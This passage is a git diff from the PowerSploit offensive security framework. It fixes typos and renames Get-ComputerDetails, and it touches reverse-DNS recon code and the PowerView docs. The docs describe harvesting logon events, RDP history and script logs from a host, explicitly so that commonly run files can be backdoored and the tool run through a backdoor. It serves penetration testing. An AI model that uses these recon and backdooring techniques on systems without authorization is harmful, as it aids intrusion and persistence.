$Network),2).PadLeft(32,'0') #Generate lower limit (Excluding network address) $Lower = $BinaryIP.Substring(0, $Mask) + "0" * ((32-$Mask)-1) + "1" - #Generate upperr limit (Excluding broadcast address) + #Generate upper limit (Excluding broadcast address) $Upper = $BinaryIP.Substring(0, $Mask) + "1" * ((32-$Mask)-1) + "0" $LowerInt = [Convert]::ToInt64($Lower, 2) $UpperInt = [Convert]::ToInt64($Upper, 2) @@ -168,21 +170,21 @@ https://github.com/mattifestation/PowerSploit "range" { $Range = $item.Split("-") - + if ([System.Net.IPAddress]::TryParse($Range[0],[ref]$Ip)) { $Temp1 = $Ip } else { Write-Warning "Invalid IP address supplied!"; return } - + if ([System.Net.IPAddress]::TryParse($Range[1],[ref]$Ip)) { $Temp2 = $Ip } else { Write-Warning "Invalid IP address supplied!"; return } - + $Left = (IPtoInt $Temp1.ToString()) $Right = (IPtoInt $Temp2.ToString()) - + if ($Right -gt $Left) { for ($i = $Left; $i -le $Right; $i++) { InttoIP $i } } else { Write-Warning "Invalid IP range. The right portion must be greater than the left portion."; return} - + break } "single" @@ -193,28 +195,30 @@ https://github.com/mattifestation/PowerSploit } default { - Write-Warning "An error occured." + Write-Warning "An error occurred." return } } } - } } - + PROCESS { Parse-IPList $IpRange | ForEach-Object { try { Write-Verbose "Resolving $_" $Temp = [System.Net.Dns]::GetHostEntry($_) - + $Result = @{ IP = $_ HostName = $Temp.HostName } - + New-Object PSObject -Property $Result - } catch [System.Net.Sockets.SocketException] {} + } + catch [System.Net.Sockets.SocketException] { + Write-Verbose "Error: $_" + } } } } diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index eecf62f..49ee9c7 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -859,7 +859,7 @@ function Export-PowerViewCSV { <# .SYNOPSIS -Converts objects into a series of comma-separated (CSV) strings and saves the +Converts objects into a series of comma-separated (CSV) strings and saves the strings in a CSV file in a thread-safe manner. Author: Will Schroeder (@harmj0y) diff --git a/Recon/Recon.psd1 b/Recon/Recon.psd1 index 71667c0..d0a4148 100644 --- a/Recon/Recon.psd1 +++ b/Recon/Recon.psd1 @@ -98,7 +98,7 @@ FunctionsToExport = @( 'Get-DomainForeignUser', 'Get-DomainForeignGroupMember', 'Get-DomainTrustMapping', - 'Get-ComputerDetails', + 'Get-ComputerDetail', 'Get-HttpStatus', 'Invoke-Portscan', 'Invoke-ReverseDnsLookup' diff --git a/docs/Recon/Export-PowerViewCSV.md b/docs/Recon/Export-PowerViewCSV.md index 1597249..d2d2a89 100755 --- a/docs/Recon/Export-PowerViewCSV.md +++ b/docs/Recon/Export-PowerViewCSV.md @@ -1,7 +1,7 @@ # Export-PowerViewCSV ## SYNOPSIS -Converts objects into a series of comma-separated (CSV) strings and saves the +Converts objects into a series of comma-separated (CSV) strings and saves the strings in a CSV file in a thread-safe manner. Author: Will Schroeder (@harmj0y) diff --git a/docs/Recon/Get-ComputerDetail.md b/docs/Recon/Get-ComputerDetail.md new file mode 100755 index 0000000..15a3feb --- /dev/null +++ b/docs/Recon/Get-ComputerDetail.md @@ -0,0 +1,68 @@ +# Get-ComputerDetail + +## SYNOPSIS +This script is used to get useful information from a computer. + +Function: Get-ComputerDetail +Author: Joe Bialek, Twitter: @JosephBialek +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +``` +Get-ComputerDetail [-ToString] +``` + +## DESCRIPTION +This script is used to get useful information from a computer. +Currently, the script gets the following information: +-Explicit Credential Logons (Event ID 4648) +-Logon events (Event ID 4624) +-AppLocker logs to find what processes are created +-PowerShell logs to find PowerShell scripts which have been executed +-RDP Client Saved Servers, which indicates what servers the user typically RDP's in to + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-ComputerDetail +``` + +Gets information about the computer and outputs it as PowerShell objects. + +Get-ComputerDetail -ToString +Gets information about the computer and outputs it as raw text. + +## PARAMETERS + +### -ToString +Switch: Outputs the data as text instead of objects, good if you are using this script through a backdoor. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: 1 +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES +This script is useful for fingerprinting a server to see who connects to this server (from where), and where users on this server connect to. +You can also use it to find Powershell scripts and executables which are typically run, and then use this to backdoor those files. + +## RELATED LINKS + +[Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell](Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell) + diff --git a/docs/Recon/Get-ComputerDetails.md b/docs/Recon/Get-ComputerDetails.md deleted file mode 100755 index 6bc3e91..0000000 --- a/docs/Recon/Get-ComputerDetails.md +++ /dev/null @@ -1,68 +0,0 @@ -# Get-ComputerDetails - -## SYNOPSIS -This script is used to get useful information from a computer. - -Function: Get-ComputerDetails -Author: Joe Bialek, Twitter: @JosephBialek -Required Dependencies: None -Optional Dependencies: None - -## SYNTAX - -``` -Get-ComputerDetails [-ToString] -``` - -## DESCRIPTION -This script is used to get useful information from a computer. -Currently, the script gets the following information: --Explicit Credential Logons (Event ID 4648) --Logon events (Event ID 4624) --AppLocker logs to find what processes are created --PowerShell logs to find PowerShell scripts which have been executed --RDP Client Saved Servers, which indicates what servers the user typically RDP's in to - -## EXAMPLES - -### -------------------------- EXAMPLE 1 -------------------------- -``` -Get-ComputerDetails -``` - -Gets information about the computer and outputs it as PowerShell objects. - -Get-ComputerDetails -ToString -Gets information about the computer and outputs it as raw text. - -## PARAMETERS - -### -ToString -Switch: Outputs the data as text instead of objects, good if you are using this script through a backdoor. - -```yaml -Type: SwitchParameter -Parameter Sets: (All) -Aliases: - -Required: False -Position: 1 -Default value: False -Accept pipeline input: False -Accept wildcard characters: False -``` - -## INPUTS - -## OUTPUTS - -## NOTES -This script is useful for fingerprinting a server to see who connects to this server (from where), and where users on this server connect to. -You can also use it to find Powershell scripts and executables which are typically run, and then use this to backdoor those files. - -## RELATED LINKS - -[Blog: http://clymb3r.wordpress.com/ -Github repo: https://github.com/clymb3r/PowerShell](Blog: http://clymb3r.wordpress.com/ -Github repo: https://github.com/clymb3r/PowerShell) - diff --git a/docs/Recon/Get-HttpStatus.md b/docs/Recon/Get-HttpStatus.md index a8a7dbb..4311983 100755 --- a/docs/Recon/Get-HttpStatus.md +++ b/docs/Recon/Get-HttpStatus.md @@ -3,10 +3,10 @@ ## SYNOPSIS Returns the HTTP Status Codes and full URL for specified paths. -PowerSploit Function: Get-HttpStatus -Author: Chris Campbell (@obscuresec) -License: BSD 3-Clause -Required Dependencies: None +PowerSploit Function: Get-HttpStatus +Author: Chris Campbell (@obscuresec) +License: BSD 3-Clause +Required Dependencies: None Optional Dependencies: None ## SYNTAX diff --git a/docs/Recon/Invoke-Portscan.md b/docs/Recon/Invoke-Portscan.md index 49d9e32..8e1ef27 100755 --- a/docs/Recon/Invoke-Portscan.md +++ b/docs/Recon/Invoke-Portscan.md @@ -3,10 +3,10 @@ ## SYNOPSIS Simple portscan module -PowerSploit Function: Invoke-Portscan -Author: Rich Lundeen (http://webstersProdigy.net) -License: BSD 3-Clause -Required Dependencies: None +PowerSploit Function: Invoke-Portscan +Author: Rich Lundeen (http://webstersProdigy.net) +License: BSD 3-Clause +Required Dependencies: None Optional Dependencies: None ## SYNTAX diff --git a/docs/Recon/Invoke-ReverseDnsLookup.md b/docs/Recon/Invoke-ReverseDnsLookup.md index 348ad91..2c74e3c 100755 --- a/docs/Recon/Invoke-ReverseDnsLookup.md +++ b/docs/Recon/Invoke-ReverseDnsLookup.md @@ -3,10 +3,10 @@ ## SYNOPSIS Perform a reverse DNS lookup scan on a range of IP addresses. -PowerSploit Function: Invoke-ReverseDnsLookup -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None +PowerSploit Function: Invoke-ReverseDnsLookup +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None Optional Dependencies: None ## SYNTAX @@ -17,7 +17,7 @@ Invoke-ReverseDnsLookup [-IpRange] ## DESCRIPTION Invoke-ReverseDnsLookup scans an IP address range for DNS PTR records. -This script is useful for performing DNS reconnaisance prior to conducting an authorized penetration test. +This script is useful for performing DNS reconnaissance prior to conducting an authorized penetration test. ## EXAMPLES @@ -34,7 +34,7 @@ IP HostName 74.125.228.4 iad23s05-in-f4.1e100.net 74.125.228.5 iad23s05-in-f5.1e100.net 74.125.228.6 iad23s05-in-f6.1e100.net - + Description ----------- Returns the hostnames of the IP addresses specified by the CIDR range. @@ -50,7 +50,7 @@ IP HostName 74.125.228.4 iad23s05-in-f4.1e100.net 74.125.228.5 iad23s05-in-f5.1e100.net 74.125.228.6 iad23s05-in-f6.1e100.net - + Description ----------- Returns the hostnames of the IP addresses specified by the IP range specified. diff --git a/docs/Recon/Set-DomainObject.md b/docs/Recon/Set-DomainObject.md index 482d86d..8cb283b 100755 --- a/docs/Recon/Set-DomainObject.md +++ b/docs/Recon/Set-DomainObject.md @@ -12,8 +12,7 @@ Required Dependencies: Get-DomainObject ``` Set-DomainObject [[-Identity] ] [-Set ] [-XOR ] [-Clear ] [-Domain ] [-LDAPFilter ] [-SearchBase ] [-Server ] [-SearchScope ] - [-ResultPageSize ] [-ServerTimeLimit ] [-SecurityMasks ] [-Tombstone] - [-Credential ] + [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] [-Credential ] ``` ## DESCRIPTION @@ -281,21 +280,6 @@ Accept pipeline input: False Accept wildcard characters: False ``` -### -SecurityMasks -{{Fill SecurityMasks Description}} - -```yaml -Type: String -Parameter Sets: (All) -Aliases: - -Required: False -Position: Named -Default value: None -Accept pipeline input: False -Accept wildcard characters: False -``` - ### -Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. @@ -332,14 +316,6 @@ Accept wildcard characters: False ## OUTPUTS -### PowerView.ADObject - -Custom PSObject with translated AD object property fields, if -PassThru is enabled. - -PowerView.ADObject.Raw - -The raw DirectoryServices.SearchResult object, if -PassThru and -Raw are enabled. - ## NOTES ## RELATED LINKS diff --git a/docs/Recon/index.md b/docs/Recon/index.md old mode 100644 new mode 100755 diff --git a/mkdocs.yml b/mkdocs.yml index a24f7e4..f4a0608 100644 --- a/mkdocs.yml +++ b/mkdocs.yml @@ -81,7 +81,7 @@ pages: - Get-DomainForeignUser: 'Recon/Get-DomainForeignUser.md' - Get-DomainForeignGroupMember: 'Recon/Get-DomainForeignGroupMember.md' - Get-DomainTrustMapping: 'Recon/Get-DomainTrustMapping.md' - - Get-ComputerDetails: 'Recon/Get-ComputerDetails.md' + - Get-ComputerDetail: 'Recon/Get-ComputerDetail.md' - Get-HttpStatus: 'Recon/Get-HttpStatus.md' - Invoke-Portscan: 'Recon/Invoke-Portscan.md' - Invoke-ReverseDnsLookup: 'Recon/Invoke-ReverseDnsLookup.md' -- cgit v1.2.3